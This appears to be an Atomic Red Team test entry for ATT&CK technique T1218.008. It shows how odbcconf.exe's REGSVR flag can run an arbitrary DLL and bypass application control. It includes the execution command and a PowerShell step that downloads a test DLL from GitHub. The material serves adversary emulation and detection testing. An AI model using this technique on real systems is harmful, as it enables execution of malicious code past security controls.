Adversaries may abuse odbcconf.exe to proxy execution of malicious payloads. Odbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names.(Citation: Microsoft odbcconf.exe) Odbcconf.exe is digitally signed by Microsoft.Adversaries may abuse odbcconf.exe to bypass application control solutions that do not account for its potential abuse. Similar to Regsvr32, odbcconf.exe has a
REGSVR
flag that can be misused to execute DLLs (ex:odbcconf.exe /S /A {REGSVR "C:\Users\Public\file.dll"}
). (Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo Aug 2017)(Citation: TrendMicro Cobalt Group Nov 2017)
Execute arbitrary DLL file stored locally.
Supported Platforms: Windows
Name | Description | Type | Default Value |
---|---|---|---|
dll_payload | DLL to execute | Path | PathToAtomicsFolder\T1218.008\src\Win32\T1218-2.dll |
odbcconf.exe /S /A {REGSVR "#{dll_payload}"}
if (Test-Path #{dll_payload}) {exit 0} else {exit 1}
New-Item -Type Directory (split-path #{dll_payload}) -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.008/src/Win32/T1218-2.dll" -OutFile "#{dll_payload}"